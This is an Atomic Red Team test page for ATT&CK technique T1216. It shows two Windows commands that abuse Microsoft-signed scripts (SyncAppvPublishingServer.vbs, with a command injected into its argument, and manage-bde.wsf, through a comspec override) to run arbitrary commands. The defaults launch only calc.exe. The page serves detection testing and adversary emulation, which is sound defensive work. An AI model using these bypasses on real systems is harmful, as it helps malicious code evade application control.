# T1216 - Signed Script Proxy Execution
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1216)
<blockquote>Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)</blockquote>

## Atomic Tests

- [Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution](#atomic-test-1---syncappvpublishingserver-signed-script-powershell-command-execution)

- [Atomic Test #2 - manage-bde.wsf Signed Script Command Execution](#atomic-test-2---manage-bdewsf-signed-script-command-execution)


<br/>

## Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution
Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.
Upon execution, calc.exe will be launched.

**Supported Platforms:** Windows


**auto_generated_guid:** 275d963d-3f36-476c-8bef-a2a3960ee6eb





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command_to_execute | A PowerShell command to execute. | String | Start-Process calc|


#### Attack Commands: Run with `command_prompt`! 


```cmd
C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"
```






<br/>
<br/>

## Atomic Test #2 - manage-bde.wsf Signed Script Command Execution
Executes the signed manage-bde.wsf script with options to execute an arbitrary command.

**Supported Platforms:** Windows


**auto_generated_guid:** 2a8f2d3c-3dec-4262-99dd-150cb2a4d63a





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command_to_execute | A command to execute. | Path | %windir%&#92;System32&#92;calc.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
set comspec=#{command_to_execute}
cscript %windir%\System32\manage-bde.wsf
```

#### Cleanup Commands:
```cmd
set comspec=%windir%\System32\cmd.exe
```





<br/>
